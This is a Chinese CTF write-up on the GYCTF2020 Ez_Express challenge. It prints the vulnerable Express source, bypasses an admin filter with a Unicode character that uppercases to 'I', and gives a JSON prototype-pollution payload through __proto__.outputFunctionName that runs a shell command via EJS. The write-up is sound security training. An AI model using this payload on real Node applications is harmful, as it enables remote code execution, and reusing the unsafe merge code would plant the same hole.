[GYCTF2020]Ez_Express 原型链污染 js大小写特性

本文介绍GYCTF2020中Ez_Express挑战的解决过程,通过构造特殊用户名绕过过滤机制并利用原型链污染获取flag。详细解释了如何利用JavaScript特性及代码漏洞实现攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

[GYCTF2020]Ez_Express
随便注册一个账号登录,查看源代码可以发现www.zip的提示
在这里插入图片描述
下载源码,找到index.js

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}
function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
  if(!req.session.user){
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={'user':req.session.user.user});
});


router.get('/login', function (req, res) {
  res.render('login');
});



router.post('/login', function (req, res) {
  if(req.body.Submit=="register"){
   if(safeKeyword(req.body.userid)){
    res.end("<script>alert('forbid word');history.go(-1);</script>") 
   }
    req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
    if(!req.session.user){res.end("<script>alert('register first');history.go(-1);</script>")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
      req.session.user.isLogin=true;
    }
    else{
      res.end("<script>alert('error passwd');history.go(-1);</script>")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")} 
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})
module.exports = router;

首先想办法以admin登录,在注册的时候如果以ADMIN注册会弹出forbid word,这里admin被过滤了,无论大小写。

function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

但在注册完存放用户名的时候,会被转成大写。利用javascript的特性,"ı"的大写是“I”、"ſ"的大写是“S”。因此用admın绕过。

req.session.user={
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }

在这里插入图片描述
继续看源码发现merge和clone那多半是原型链污染

const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

我们在框中的输入提交后触发/action,其中触发了 req.session.user.data = clone(req.body);
关于原型链污染,这篇文章讲的很详细https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript
要达成的目标可以看/info,将outputFunctionName渲染到页面中,但是这个outputFunctionName没有定义。所以我们可以给对象原型的类添加一个outputFunctionName属性,通过它得到flag。

router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

content type改成application/json
payload:

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

在这里插入图片描述
再访问/info得到flag
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值